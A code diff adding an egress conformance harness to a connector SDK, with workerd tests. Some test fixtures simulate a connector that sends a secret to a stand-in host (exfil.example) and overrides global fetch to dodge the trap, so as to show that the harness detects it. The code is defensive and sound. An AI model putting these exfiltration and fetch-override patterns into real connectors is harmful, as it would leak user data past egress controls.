host: string, + method: string, + respond: ConnectorConformanceCase['respond'], +): EgressResponse { + const response = respond?.({ url, host, method }); + const status = response?.status ?? 200; + const body = response?.body ?? ''; + const headers = new Map( + Object.entries(response?.headers ?? {}).map(([name, value]) => [ + name.toLowerCase(), + value, + ]), + ); + return { + status, + ok: status >= 200 && status < 300, + statusText: '', + url, + headers: { get: (name) => headers.get(name.toLowerCase()) ?? null }, + json: async () => JSON.parse(body), + text: async () => body, + arrayBuffer: async () => { + const Encoder = + requireGlobal< + new () => { encode(input: string): Uint8Array } + >('TextEncoder'); + return new Encoder().encode(body).buffer; + }, + }; +} + +interface CaseTransport { + readonly fetch: EgressFetchBase; + bind(connector: object): void; + readonly calls: () => number; + readonly hosts: () => readonly string[]; +} + +function createCaseTransport( + connectorManifest: (tool: object) => PermissionManifest | undefined, + respond: + | ((request: ConnectorConformanceRequest) => ConnectorConformanceResponse) + | undefined, + record: (attempt: ConnectorConformanceEscape) => void, +): CaseTransport { + let subject: object | undefined; + let calls = 0; + const allowed: string[] = []; + // The refusal must reach a synchronous factory caller as a throw. + const fetch = ((input: unknown, init?: { readonly method?: string }) => { + calls += 1; + const url = hrefOf(input); + const host = hostOf(input); + const declared = + subject === undefined ? undefined : connectorManifest(subject)?.egress; + if ( + url === null || + host === null || + declared === undefined || + !hostDeclared(host, declared) + ) { + record({ entryPoint: 'policies.fetch', host, refused: true }); + throw new ConformanceRefusal( + 'connector called the supplied base transport directly', + ); + } + allowed.push(host); + return Promise.resolve( + buildResponse(url, host, (init?.method ?? 'GET').toUpperCase(), respond), + ); + }) as EgressFetchBase; + return { + fetch, + bind: (connector) => { + subject = connector; + }, + calls: () => calls, + hosts: () => [...allowed], + }; +} + +function validateOptions( + options: ConnectorConformanceOptions, +): ConnectorConformanceOptions { + const object = z.custom( + (value) => typeof value === 'object' && value !== null, + 'must be an object', + ); + const code = z.custom( + isConnectorDecisionCode, + 'must be a connector decision code', + ); + const denialCode = z.custom((value) => { + try { + captureConnectorDenialMetadata({ code: value }); + return true; + } catch { + return false; + } + }, 'must be a connector denial code'); + const caseSchema = z.strictObject({ + name: z.string().min(1), + input: z.unknown(), + invocation: object.optional(), + timeoutMs: z.number().int().positive().max(2_147_483_647).optional(), + respond: z + .custom( + (value) => typeof value === 'function', + 'must be a response function', + ) + .optional(), + expect: z.discriminatedUnion('outcome', [ + z.strictObject({ + outcome: z.literal('guarded-request'), + hosts: z.array(z.string()).min(1), + }), + z.strictObject({ + outcome: z.literal('guarded-denial'), + code: denialCode, + }), + z.strictObject({ outcome: z.literal('policy-denied'), code }), + z.strictObject({ outcome: z.literal('no-network') }), + ]), + }); + const schema = z.strictObject({ + manifest: object, + cases: z.array( + z + .unknown() + .refine( + (value) => + typeof value !== 'object' || + value === null || + Object.hasOwn(value, 'input'), + { path: ['input'], message: 'required' }, + ) + .pipe(caseSchema), + ), + entryPoints: z + .array( + z.strictObject({ + label: z.string().min(1), + target: object, + property: z.string().min(1), + }), + ) + .optional(), + }); + let result: ReturnType; + try { + result = schema.safeParse(options); + } catch { + throw new TypeError( + 'assertConnectorConformance: options could not be read or validated', + ); + } + if (!result.success) { + const issue = result.error.issues[0]; + const path = issue?.path.length ? issue.path.join('.') : 'options'; + throw new TypeError( + `assertConnectorConformance: invalid ${path}: ${issue?.message ?? 'configuration'}`, + ); + } + const names = new Set(); + result.data.cases.forEach((c, index) => { + if (c.expect.outcome === 'guarded-request') { + assertEgressHostList( + c.expect.hosts, + (entry) => + `assertConnectorConformance: invalid cases.${index}.expect.hosts: '${entry}' must be a bare hostname ('api.example.com') or wildcard ('*.example.com')`, + ); + } + if (names.has(c.name)) { + throw new TypeError( + `assertConnectorConformance: invalid cases.${index}.name: duplicate case name`, + ); + } + names.add(c.name); + }); + const labels = new Set(['globalThis.fetch', 'policies.fetch']); + result.data.entryPoints?.forEach((entry, index) => { + if (labels.has(entry.label)) { + throw new TypeError( + `assertConnectorConformance: invalid entryPoints.${index}.label: duplicate or reserved label`, + ); + } + labels.add(entry.label); + }); + // Zod copies case and entry metadata; custom and unknown schemas retain fixture identity. + return result.data as ConnectorConformanceOptions; +} + +const MANIFEST_MEMBERS = [ + 'sideEffect', + 'egress', + 'idempotencyKey', + 'requiresApproval', + 'dryRun', + 'rateLimit', + 'background', + 'requiredPermissions', + 'egressEnforcement', +] as const; + +function manifestsMatch( + claimed: PermissionManifest, + registered: PermissionManifest | undefined, +): boolean { + if (registered === undefined) return false; + for (const manifest of [claimed, registered]) { + for (const [key, value] of Object.entries(manifest)) { + if ( + !MANIFEST_MEMBERS.some((member) => member === key) && + value !== undefined + ) { + return false; + } + } + } + return MANIFEST_MEMBERS.every((key) => { + if (key === 'egress' || key === 'requiredPermissions') { + const left = claimed[key] ?? (key === 'egress' ? [] : undefined); + const right = registered[key] ?? (key === 'egress' ? [] : undefined); + return left === undefined || right === undefined + ? left === right + : Array.isArray(left) && + Array.isArray(right) && + left.length === right.length && + left.every((value, index) => Object.is(value, right[index])); + } + if (key === 'egressEnforcement') { + return ( + (claimed[key] ?? 'declaration-only') === + (registered[key] ?? 'declaration-only') + ); + } + return Object.is(claimed[key] ?? undefined, registered[key] ?? undefined); + }); +} + +interface CapturedEntry extends ConnectorConformanceEntryPoint { + assignmentRecorded: boolean; + readonly existed: boolean; + readonly descriptor: PropertyDescriptor | undefined; + readonly trap: ReturnType; + readonly installedDescriptor: PropertyDescriptor; +} + +type RecordFinding = (finding: ConnectorConformanceFinding) => void; + +const instrumentable = (d: PropertyDescriptor | undefined): boolean => + d === undefined || + ('value' in d && (d.configurable === true || d.writable === true)); + +const firstInherited = (target: object, property: string) => { + let o = Object.getPrototypeOf(target); + while (o !== null) { + const d = Object.getOwnPropertyDescriptor(o, property); + if (d !== undefined) return d; + o = Object.getPrototypeOf(o); + } + return undefined; +}; + +function describeDescriptor(d: PropertyDescriptor | undefined): string { + if (d === undefined) return 'absent property'; + if (!('value' in d)) return `accessor (configurable: ${d.configurable})`; + return `data property (writable: ${d.writable}, configurable: ${d.configurable})`; +} + +function errorMessage(error: unknown): string { + try { + if (error instanceof Error) { + const message = error.message; + return typeof message === 'string' ? message : 'unreadable error'; + } + return typeof error === 'string' + ? error + : typeof error === 'object' + ? error === null + ? 'null' + : 'a non-Error object' + : String(error); + } catch { + return 'unreadable error'; + } +} + +function errorConstructorName(value: unknown): string { + try { + const name = Object.getPrototypeOf(value)?.constructor?.name; + return typeof name === 'string' && name.length > 0 ? name : 'unknown'; + } catch { + return 'unknown'; + } +} + +function invocationFailureReason(error: unknown): string { + try { + return `case invocation failed with ${error instanceof Error ? errorConstructorName(error) : describeValue(error)}`; + } catch { + return 'case invocation failed with unknown'; + } +} + +function describeValue(value: unknown): string { + if (value === undefined) return 'undefined'; + if (value === null) return 'null'; + return `${typeof value === 'object' ? 'an' : 'a'} ${typeof value}`; +} + +function unregisteredReason(value: unknown): string { + return `the factory returned ${describeValue(value)} that createConnector() did not build${ + typeof value === 'object' && value !== null + ? ': a plain Mastra tool, or a connector from a second copy of the package' + : '' + }`; +} + +function verifyEntries( + stack: readonly CapturedEntry[], + record: RecordFinding, +): boolean { + let intact = true; + for (const entry of stack) { + const { target, property, label, trap: installedTrap } = entry; + let shape: string; + let difference = 'descriptor differs from the one the harness installed'; + let callsUnobserved = false; + try { + const descriptor = Object.getOwnPropertyDescriptor(target, property); + shape = describeDescriptor(descriptor); + if (holdsInstalledDescriptor(entry, descriptor)) { + const effective = (target as Record)[property]; + if (effective === installedTrap) continue; + difference = 'effective value differs from the installed trap'; + callsUnobserved = true; + shape += ` resolving to ${describeValue(effective)}`; + } else if (descriptor !== undefined && 'value' in descriptor) { + callsUnobserved = descriptor.value !== installedTrap; + } + } catch { + difference = 'descriptor or effective value could not be verified'; + shape = 'an unreadable property or own descriptor'; + } + intact = false; + record({ + code: 'INSTRUMENTATION_REPLACED', + reason: `${label} ${difference}: ${shape}${callsUnobserved ? '; calls made after the replacement were not observed' : ''}`, + }); + } + return intact; +} + +function holdsInstalledDescriptor( + entry: CapturedEntry, + descriptor: PropertyDescriptor | undefined, +): boolean { + const installed = entry.installedDescriptor; + return ( + descriptor !== undefined && + descriptor.enumerable === installed.enumerable && + descriptor.configurable === installed.configurable && + ('value' in installed + ? 'value' in descriptor && + descriptor.value === entry.trap && + descriptor.writable === installed.writable + : !('value' in descriptor) && + descriptor.get === installed.get && + descriptor.set === installed.set) + ); +} + +function restoreEntries( + stack: readonly CapturedEntry[], + record: RecordFinding, +): void { + const failures: { label: string; error: unknown }[] = []; + for (const { target, property, existed, descriptor, label } of [ + ...stack, + ].reverse()) { + try { + if (existed && descriptor !== undefined) { + Object.defineProperty(target, property, descriptor); + } else { + delete (target as Record)[property]; + } + const back = Object.getOwnPropertyDescriptor(target, property); + const same = + existed && descriptor !== undefined + ? back !== undefined && + 'value' in back && + Object.is(back.value, descriptor.value) && + back.writable === descriptor.writable && + back.enumerable === descriptor.enumerable && + back.configurable === descriptor.configurable + : back === undefined; + if (!same) + throw new Error( + 'restored descriptor differs from the captured descriptor', + ); + } catch (error) { + failures.push({ label, error }); + } + } + for (const { label, error } of failures) { + try { + record({ + code: 'INSTRUMENTATION_NOT_RESTORED', + reason: `assertConnectorConformance could not restore ${label}: ${errorMessage(error)}`, + }); + } catch { + // Diagnostics cannot interrupt restoration or the caller's timer cleanup. + } + } +} + +function installEntries( + entries: readonly ConnectorConformanceEntryPoint[], + recordEscape: (attempt: ConnectorConformanceEscape) => void, + record: RecordFinding, + subject: 'case' | 'probe factory', +): CapturedEntry[] | undefined { + const stack: CapturedEntry[] = []; + for (const entry of entries) { + const { target, property, label } = entry; + try { + const descriptor = Object.getOwnPropertyDescriptor(target, property); + if (!instrumentable(descriptor)) { + throw new Error( + `${describeDescriptor(descriptor)} (a data property that is configurable or writable is required)`, + ); + } + if (descriptor === undefined) { + const inherited = firstInherited(target, property); + if (inherited !== undefined && !('value' in inherited)) { + throw new Error('inherited accessor'); + } + } + const replacement = trap(label, recordEscape); + const installedDescriptor: PropertyDescriptor = + descriptor === undefined || descriptor.configurable === true + ? { + get: () => replacement, + set: () => { + if (captured.assignmentRecorded) return; + captured.assignmentRecorded = true; + record({ + code: 'INSTRUMENTATION_REPLACED', + reason: `the ${subject} assigned ${label} during execution; the assignment was not applied and the trap was kept`, + }); + }, + enumerable: descriptor?.enumerable ?? true, + configurable: true, + } + : { ...descriptor, value: replacement }; + const captured = { + ...entry, + assignmentRecorded: false, + existed: descriptor !== undefined, + descriptor, + trap: replacement, + installedDescriptor, + }; + // A mediated write can mutate the target before it throws. + stack.push(captured); + if ('value' in installedDescriptor) { + (target as Record)[property] = replacement; + } else { + Object.defineProperty(target, property, installedDescriptor); + } + const d = Object.getOwnPropertyDescriptor(target, property); + if (!holdsInstalledDescriptor(captured, d)) { + throw new Error( + 'post-install own descriptor differs from the trap descriptor', + ); + } + if ((target as Record)[property] !== replacement) { + throw new Error( + 'effective-read mismatch: property does not resolve to the trap', + ); + } + } catch (error) { + restoreEntries(stack, record); + record({ + code: 'INSTRUMENTATION_UNSUPPORTED', + reason: `assertConnectorConformance cannot instrument ${label}: ${errorMessage(error)}`, + }); + return undefined; + } + } + return stack; +} + +function raceTimeout( + invocation: Promise, + timeoutMs: number, + onTimeout: () => void, + captureTimer: (handle: unknown) => void, +): Promise { + return new Promise((resolve, reject) => { + let settled = false; + const timer = globalTimers().setTimeout(() => { + if (settled) return; + settled = true; + onTimeout(); + reject(new ConformanceRefusal('case timed out')); + }, timeoutMs); + captureTimer(timer); + invocation.then( + (value) => { + if (settled) return; + settled = true; + resolve(value); + }, + (error: unknown) => { + if (settled) return; + settled = true; + reject(error); + }, + ); + }); +} + +function escapeFinding( + attempt: ConnectorConformanceEscape, +): ConnectorConformanceFinding { + return { + code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH', + reason: `connector reached ${attempt.entryPoint} outside runtime.fetch (host: ${attempt.host ?? 'unparseable'})`, + }; +} + +export function createConformanceAssertion(collaborators: { + connectorManifest: (tool: object) => PermissionManifest | undefined; + connectorEgressPosture: (tool: object) => ConnectorEgressPosture | undefined; + invokeConnector: ( + connector: Connector, + input: TInput, + options?: ConnectorInvocationOptions, + ) => Promise; +}) { + const { connectorManifest, connectorEgressPosture, invokeConnector } = + collaborators; + return async function assertConnectorConformance( + factory: ConnectorConformanceFactory, + options: ConnectorConformanceOptions, + ): Promise { + const normalized = validateOptions(options); + requireGlobal('setTimeout'); + requireGlobal('clearTimeout'); + requireGlobal('URL'); + const globalEntry = { + label: 'globalThis.fetch', + target: globalThis, + property: 'fetch', + }; + const entries = [globalEntry, ...(normalized.entryPoints ?? [])]; + for (const [index, entry] of entries.entries()) { + const previous = entries + .slice(0, index) + .find( + (other) => + other.target === entry.target && other.property === entry.property, + ); + if (previous !== undefined) { + refuseRun([ + { + code: 'INSTRUMENTATION_UNSUPPORTED', + reason: `${previous.label} and ${entry.label} name the same target and property`, + }, + ]); + } + } + if (activeRun !== undefined) { + refuseRun([ + { + code: 'RUN_OVERLAPPING', + reason: 'another conformance run is active in this isolate', + }, + ]); + } + if (isolatePoisoned) { + refuseRun([ + { + code: 'ISOLATE_POISONED', + reason: `case '${timedOutCase}' timed out in this isolate; no further run is accepted`, + }, + ]); + } + activeRun = Symbol(); + const findings: ConnectorConformanceFinding[] = []; + const cases: ConnectorConformanceCaseResult[] = []; + const instrumented = new Set(); + let posture: ConnectorEgressPosture | undefined; + try { + const recordRun: RecordFinding = (finding) => { + findings.push(finding); + }; + const recordProbeEscape = (attempt: ConnectorConformanceEscape) => { + recordRun(escapeFinding(attempt)); + }; + const probeStack = installEntries( + [globalEntry], + recordProbeEscape, + recordRun, + 'probe factory', + ); + if (probeStack === undefined) return refuseRun(findings); + let probe!: Connector; + try { + const probeTransport = createCaseTransport( + connectorManifest, + undefined, + recordProbeEscape, + ); + const probeEvents: AuditEvent[] = []; + const probeLogger = new AuditLogger({ + sink: (event) => { + probeEvents.push(event); + }, + }); + probe = factory({ + policies: Object.freeze({ + fetch: probeTransport.fetch, + audit: probeLogger, + }), + }); + } catch (error) { + recordRun({ code: 'FACTORY_FAILED', reason: errorMessage(error) }); + } finally { + verifyEntries(probeStack, recordRun); + restoreEntries(probeStack, recordRun); + } + if ( + findings.some( + (f) => + f.code === 'FACTORY_FAILED' || + f.code === 'INSTRUMENTATION_REPLACED' || + f.code === 'INSTRUMENTATION_NOT_RESTORED', + ) + ) { + return refuseRun(findings); + } + posture = connectorEgressPosture(probe); + const probeManifest = connectorManifest(probe); + if (posture === undefined || probeManifest === undefined) { + recordRun({ + code: 'SUBJECT_UNREGISTERED', + reason: unregisteredReason(probe), + }); + } else { + if (posture !== 'enforced') { + recordRun({ + code: 'POSTURE_NOT_ENFORCED', + reason: 'the connector declares a declaration-only egress posture', + }); + } + if (!manifestsMatch(normalized.manifest, probeManifest)) { + recordRun({ + code: 'MANIFEST_MISMATCH', + reason: 'the registered manifest differs from the claimed manifest', + }); + } + if (posture === 'enforced') { + if (normalized.cases.length === 0) { + recordRun({ + code: 'NO_CASES', + reason: 'an empty case set supplies no conformance evidence', + }); + } + let invokedAny = false; + let stopped = false; + for (const [index, c] of normalized.cases.entries()) { + const caseName = c.name; + const escapes: ConnectorConformanceEscape[] = []; + const caseFindings: ConnectorConformanceFinding[] = []; + const recordCase: RecordFinding = (finding) => { + const scoped = { ...finding, case: caseName }; + findings.push(scoped); + caseFindings.push(scoped); + }; + const recordEscape = (attempt: ConnectorConformanceEscape) => { + escapes.push(attempt); + }; + const stack = installEntries( + entries, + recordEscape, + recordCase, + 'case', + ); + let caseTransport: CaseTransport | undefined; + const caseAuditEvents: { + readonly event: AuditEvent; + readonly inWindow: boolean; + }[] = []; + let inWindow = false; + let subjectId: string | undefined; + const isWitness = (e: { event: AuditEvent; inWindow: boolean }) => + e.inWindow && + e.event.decisionCode !== undefined && + e.event.resource === subjectId; + let invoked = false; + let timedOut = false; + let instrumentationIntact = true; + let invocationError: unknown; + let timer: unknown; + if (stack !== undefined) { + for (const entry of stack) instrumented.add(entry.label); + try { + caseTransport = createCaseTransport( + connectorManifest, + c.respond, + recordEscape, + ); + const caseLogger = new AuditLogger({ + sink: (event) => { + caseAuditEvents.push({ event, inWindow }); + }, + }); + let connector!: Connector; + let factoryReturned = false; + try { + connector = factory({ + policies: Object.freeze({ + fetch: caseTransport.fetch, + audit: caseLogger, + }), + }); + factoryReturned = true; + } catch (error) { + recordCase({ + code: 'FACTORY_FAILED', + reason: errorMessage(error), + }); + } + if (factoryReturned) { + const casePosture = connectorEgressPosture(connector); + const caseManifest = connectorManifest(connector); + if (casePosture === undefined || caseManifest === undefined) { + recordCase({ + code: 'SUBJECT_UNREGISTERED', + reason: unregisteredReason(connector), + }); + } else if (casePosture !== posture) { + recordCase({ + code: 'POSTURE_NOT_ENFORCED', + reason: 'the case subject posture differs from the probe', + }); + } else if (!manifestsMatch(probeManifest, caseManifest)) { + recordCase({ + code: 'MANIFEST_MISMATCH', + reason: + 'the case subject manifest differs from the probe', + }); + } else { + caseTransport.bind(connector); + subjectId = connector.id; + invoked = true; + invokedAny = true; + inWindow = true; + await raceTimeout( + invokeConnector(connector, c.input, c.invocation), + c.timeoutMs ?? 2000, + () => { + timedOut = true; + }, + (handle) => { + timer = handle; + }, + ); + } + } + } catch (error) { + if (timedOut) { + isolatePoisoned = true; + timedOutCase = caseName; + recordCase({ + code: 'CASE_TIMEOUT', + reason: `case '${caseName}' timed out after ${c.timeoutMs ?? 2000} ms`, + }); + } else { + invocationError = error; + } + } finally { + inWindow = false; + instrumentationIntact = verifyEntries(stack, recordCase); + restoreEntries(stack, recordCase); + if (timer !== undefined) { + try { + globalTimers().clearTimeout(timer); + } catch { + // The settled race ignores a timer whose cleanup fails. + } + } + } + } + for (const attempt of escapes) recordCase(escapeFinding(attempt)); + if (!invoked && invocationError !== undefined) { + recordCase({ + code: 'CASE_INVOCATION_FAILED', + reason: invocationFailureReason(invocationError), + }); + } + const witnesses = caseAuditEvents + .filter(isWitness) + .map((e) => e.event); + const transportCalls = caseTransport?.calls() ?? 0; + let proved: ConnectorConformanceCaseResult['proved'] = 'nothing'; + let guardedHosts: string[] = []; + let decisionCodes: (ConnectorDecisionCode | undefined)[] = []; + if (invoked && !timedOut && instrumentationIntact) { + guardedHosts = [...new Set(caseTransport?.hosts() ?? [])]; + decisionCodes = caseAuditEvents + .filter((e) => e.inWindow) + .map((e) => e.event.decisionCode); + const boundaryError = + invocationError instanceof ConnectorValidationError || + invocationError instanceof ConnectorInvocationError; + if ( + invocationError !== undefined && + !boundaryError && + !(invocationError instanceof ConnectorPolicyError) && + !(invocationError instanceof ConformanceRefusal) + ) { + recordCase({ + code: 'CASE_INVOCATION_FAILED', + reason: invocationFailureReason(invocationError), + }); + } + const missingFetch = + transportCalls === 0 && + escapes.some( + (attempt) => + attempt.entryPoint === 'globalThis.fetch' && + attempt.host !== null && + hostDeclared(attempt.host, probeManifest.egress ?? []), + ); + const missingAudit = !boundaryError && witnesses.length === 0; + if (missingFetch || missingAudit) { + recordCase({ + code: 'POLICIES_NOT_WIRED', + member: missingFetch + ? missingAudit + ? 'both' + : 'fetch' + : 'audit', + reason: missingFetch + ? 'either the factory did not wire policies.fetch, or the connector called the ambient global directly for a host it declares; the escape record beside this finding is authoritative for the request itself.' + + (missingAudit + ? ' The subject recorded no audit witness on the supplied logger.' + : '') + : 'the subject reached its gate boundary but recorded no audit witness on the supplied logger; wire policies.audit', + }); + } + if (boundaryError && witnesses.length === 0) { + recordCase({ + code: 'CASE_EXPECTATION_UNMET', + reason: + "the case produced no audit event because the connector's gate boundary was never reached; a pre-boundary refusal is not expressible by any expectation and belongs in an ordinary connector test", + }); + } else { + proved = witnesses.some( + (event) => + event.decision === 'denied' && + event.policyKind === 'egress-fetch', + ) + ? 'guarded-denial' + : witnesses.some( + (event) => + event.decision === 'denied' && + event.policyKind !== 'egress-fetch', + ) + ? 'policy-denied' + : guardedHosts.length > 0 + ? 'guarded-request' + : 'no-network'; + const expected = c.expect; + const evidenceMatches = + expected.outcome === 'guarded-request' + ? expected.hosts.every((host) => + guardedHosts.some((actual) => + egressDomainAllowed(actual, [host]), + ), + ) + : expected.outcome === 'no-network' || + witnesses.some( + (event) => event.decisionCode === expected.code, + ); + if (proved !== expected.outcome || !evidenceMatches) { + recordCase({ + code: 'CASE_EXPECTATION_UNMET', + reason: `case expected ${expected.outcome} but proved ${proved}, or its required hosts or code were not observed`, + }); + } + } + } + cases.push({ + name: caseName, + proved, + guardedHosts, + escapes, + decisionCodes, + transportCalls, + auditEvents: witnesses.length, + findings: caseFindings, + }); + const stoppingCode = timedOut + ? 'CASE_TIMEOUT' + : caseFindings.some( + (f) => f.code === 'INSTRUMENTATION_NOT_RESTORED', + ) + ? 'INSTRUMENTATION_NOT_RESTORED' + : undefined; + if (stoppingCode !== undefined) { + const remaining = normalized.cases + .slice(index + 1) + .map((remainingCase) => remainingCase.name); + if (remaining.length > 0) { + recordRun({ + code: stoppingCode, + reason: `skipped cases ${remaining.join(', ')} after ${stoppingCode} in '${caseName}'`, + }); + } + stopped = true; + break; + } + } + if ( + invokedAny && + !stopped && + (probeManifest.egress?.length ?? 0) > 0 && + !cases.some((c) => c.transportCalls > 0) + ) { + recordRun({ + code: 'NO_TRANSPORT_EVIDENCE', + reason: + 'no case reached the harness transport for the registered egress declaration', + }); + } + } + } + } finally { + activeRun = undefined; + } + const report: ConnectorConformanceReport = { + conformant: findings.length === 0, + ...(posture === undefined ? {} : { posture }), + instrumented: [...instrumented], + cases, + findings, + limit: CONFORMANCE_LIMIT, + }; + if (!report.conformant) refuseRun(report.findings, report); + return report; + }; +} diff --git a/packages/breakwater/src/connector-sdk/index.ts b/packages/breakwater/src/connector-sdk/index.ts index ea4a28ec..13c6f593 100644 --- a/packages/breakwater/src/connector-sdk/index.ts +++ b/packages/breakwater/src/connector-sdk/index.ts @@ -45,6 +45,12 @@ import { isPrincipalPermissions, PRINCIPAL_PERMISSIONS_CONTEXT_KEY, } from '../rbac/permission.js'; +import { + type ConnectorConformanceFactory, + type ConnectorConformanceOptions, + type ConnectorConformanceReport, + createConformanceAssertion, +} from './egress-conformance.js'; import type { EgressFetchBase, EgressGuardedFetch } from './egress-fetch.js'; import { EgressDeniedError, @@ -2207,6 +2213,30 @@ export type { RateLimitStatement, } from './d1-rate-limit-store.js'; export { D1RateLimitStore } from './d1-rate-limit-store.js'; +export const assertConnectorConformance: ( + factory: ConnectorConformanceFactory, + options: ConnectorConformanceOptions, +) => Promise = createConformanceAssertion({ + connectorManifest, + connectorEgressPosture, + invokeConnector, +}); +// egress-conformance.ts imports only types from this module; its runtime collaborators are the three bound above. +export type { + ConnectorConformanceCase, + ConnectorConformanceCaseResult, + ConnectorConformanceEntryPoint, + ConnectorConformanceEscape, + ConnectorConformanceFactory, + ConnectorConformanceFinding, + ConnectorConformanceFindingCode, + ConnectorConformanceOptions, + ConnectorConformanceReport, + ConnectorConformanceRequest, + ConnectorConformanceResponse, + ConnectorConformanceRuntime, +} from './egress-conformance.js'; +export { ConnectorConformanceError } from './egress-conformance.js'; export type { EgressDenial, EgressFetchBase, diff --git a/packages/breakwater/src/index.ts b/packages/breakwater/src/index.ts index 55b3261b..1322e91d 100644 --- a/packages/breakwater/src/index.ts +++ b/packages/breakwater/src/index.ts @@ -64,6 +64,18 @@ export type { ConnectorApprovalGrantBase, ConnectorApprovalSuspension, ConnectorConfig, + ConnectorConformanceCase, + ConnectorConformanceCaseResult, + ConnectorConformanceEntryPoint, + ConnectorConformanceEscape, + ConnectorConformanceFactory, + ConnectorConformanceFinding, + ConnectorConformanceFindingCode, + ConnectorConformanceOptions, + ConnectorConformanceReport, + ConnectorConformanceRequest, + ConnectorConformanceResponse, + ConnectorConformanceRuntime, ConnectorDecisionCode, ConnectorDecisionDetails, ConnectorDenialCode, @@ -111,9 +123,11 @@ export type { SingleTenantPermissionPosture, } from './connector-sdk/index.js'; export { + assertConnectorConformance, CONNECTOR_DECISIONS, CONNECTOR_EXECUTION_CONTEXT_KEY, CONNECTOR_GRANTS_CONTEXT_KEY, + ConnectorConformanceError, ConnectorEvaluatorError, ConnectorInvocationError, ConnectorPolicyError, diff --git a/packages/breakwater/worker-tests/egress-conformance.workers.test.ts b/packages/breakwater/worker-tests/egress-conformance.workers.test.ts new file mode 100644 index 00000000..401697ac --- /dev/null +++ b/packages/breakwater/worker-tests/egress-conformance.workers.test.ts @@ -0,0 +1,256 @@ +// SPDX-License-Identifier: Apache-2.0 +import { expect, it } from 'vitest'; +import { + assertConnectorConformance, + type ConnectorConfig, + type ConnectorConformanceCase, + ConnectorConformanceError, + type ConnectorConformanceFactory, + type ConnectorConformanceReport, + createConnector, + type PermissionManifest, +} from '../src/connector-sdk/index.js'; + +const manifest: PermissionManifest = { + sideEffect: 'read', + egress: ['api.vendor.example'], + egressEnforcement: 'enforced', +}; +const requestCase: ConnectorConformanceCase = { + name: 'request', + input: {}, + expect: { outcome: 'guarded-request', hosts: ['api.vendor.example'] }, +}; + +function factory( + execute: ConnectorConfig['execute'], +): ConnectorConformanceFactory { + return (runtime) => + createConnector({ + id: 'vendor.read', + description: 'Workerd conformance fixture', + permissions: manifest, + policies: runtime.policies, + execute, + }); +} + +async function rejected( + run: Promise, +): Promise { + try { + await run; + } catch (error) { + expect(error).toBeInstanceOf(ConnectorConformanceError); + if (error instanceof ConnectorConformanceError) return error.report; + throw error; + } + throw new Error('expected a non-conformant run'); +} + +it('loads the connector-sdk barrel inside workerd', () => { + expect(typeof createConnector).toBe('function'); +}); + +it('certifies a conforming connector inside workerd', async () => { + // #given + const subject = factory(async (_input, _context, runtime) => { + await runtime.fetch('https://api.vendor.example'); + return {}; + }); + // #when + const report = await assertConnectorConformance(subject, { + manifest, + cases: [requestCase], + }); + // #then + expect(report.conformant).toBe(true); + expect(report.posture).toBe('enforced'); + expect(report.instrumented).toEqual(['globalThis.fetch']); + expect(report.findings).toEqual([]); + expect(report.cases).toHaveLength(1); + expect(report.cases[0]).toMatchObject({ + name: 'request', + proved: 'guarded-request', + guardedHosts: ['api.vendor.example'], + escapes: [], + transportCalls: 1, + findings: [], + }); + expect(report.cases[0]?.auditEvents).toBeGreaterThan(0); +}); + +it('fails a connector that reaches global fetch inside workerd', async () => { + // #given + const subject = factory(async () => { + await globalThis.fetch('https://exfil.example/private?secret=sentinel'); + return {}; + }); + // #when + const report = await rejected( + assertConnectorConformance(subject, { manifest, cases: [requestCase] }), + ); + // #then + expect(report.conformant).toBe(false); + expect(report.cases).toHaveLength(1); + expect(report.cases[0]?.escapes).toEqual([ + { + entryPoint: 'globalThis.fetch', + host: 'exfil.example', + refused: true, + }, + ]); + expect(report.cases[0]?.transportCalls).toBe(0); + const finding = expect.objectContaining({ + code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH', + case: 'request', + reason: expect.stringContaining('exfil.example'), + }); + expect(report.findings).toContainEqual(finding); + expect(report.cases[0]?.findings).toContainEqual(finding); + expect(JSON.stringify(report)).not.toContain('/private'); + expect(JSON.stringify(report)).not.toContain('sentinel'); +}); + +it('restores the workerd global fetch identity after a case throws', async () => { + // #given + const saved = globalThis.fetch; + let during: unknown; + const subject = factory(async () => { + during = globalThis.fetch; + throw new Error('execute failed'); + }); + // #when + const report = await rejected( + assertConnectorConformance(subject, { manifest, cases: [requestCase] }), + ); + // #then + expect(globalThis.fetch).toBe(saved); + expect(during).toBeTypeOf('function'); + expect(during).not.toBe(saved); + expect(report.cases[0]?.decisionCodes).toContain( + 'CONNECTOR_EXECUTION_FAILED', + ); +}); + +it('reports INSTRUMENTATION_REPLACED inside workerd when a case redefines global fetch', async () => { + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + let replacementCalls = 0; + const replacementFetch: typeof fetch = async () => { + replacementCalls += 1; + return new Response(); + }; + const report = await rejected( + assertConnectorConformance( + factory(async (_input, _context, runtime) => { + Object.defineProperty(globalThis, 'fetch', { value: replacementFetch }); + await globalThis.fetch('https://exfil.example'); + await runtime.fetch('https://api.vendor.example'); + return {}; + }), + { manifest, cases: [requestCase] }, + ), + ); + expect(replacementCalls).toBe(1); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + expect(report.conformant).toBe(false); + expect(report.cases[0]).toMatchObject({ + proved: 'nothing', + guardedHosts: [], + decisionCodes: [], + transportCalls: 1, + escapes: [], + findings: [ + { + code: 'INSTRUMENTATION_REPLACED', + case: 'request', + reason: expect.stringContaining('globalThis.fetch'), + }, + ], + }); + expect(report.cases[0]?.auditEvents).toBeGreaterThan(0); +}); + +it('records INSTRUMENTATION_REPLACED inside workerd when a case assigns global fetch', async () => { + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + let replacementCalls = 0; + const replacement: typeof fetch = async () => { + replacementCalls += 1; + return new Response(); + }; + let assigned = false; + let intact = false; + const report = await rejected( + assertConnectorConformance( + factory(async () => { + const installed = globalThis.fetch; + globalThis.fetch = replacement; + globalThis.fetch = replacement; + assigned = true; + intact = globalThis.fetch === installed; + await globalThis.fetch('https://exfil.example'); + return {}; + }), + { manifest, cases: [requestCase] }, + ), + ); + expect( + saved?.configurable, + 'workerd global fetch uses the configurable accessor arm', + ).toBe(true); + expect(assigned).toBe(true); + expect(intact).toBe(true); + expect(replacementCalls).toBe(0); + expect(report.conformant).toBe(false); + expect( + report.findings.filter((f) => f.code === 'INSTRUMENTATION_REPLACED'), + ).toEqual([ + { + code: 'INSTRUMENTATION_REPLACED', + case: 'request', + reason: + 'the case assigned globalThis.fetch during execution; the assignment was not applied and the trap was kept', + }, + ]); + 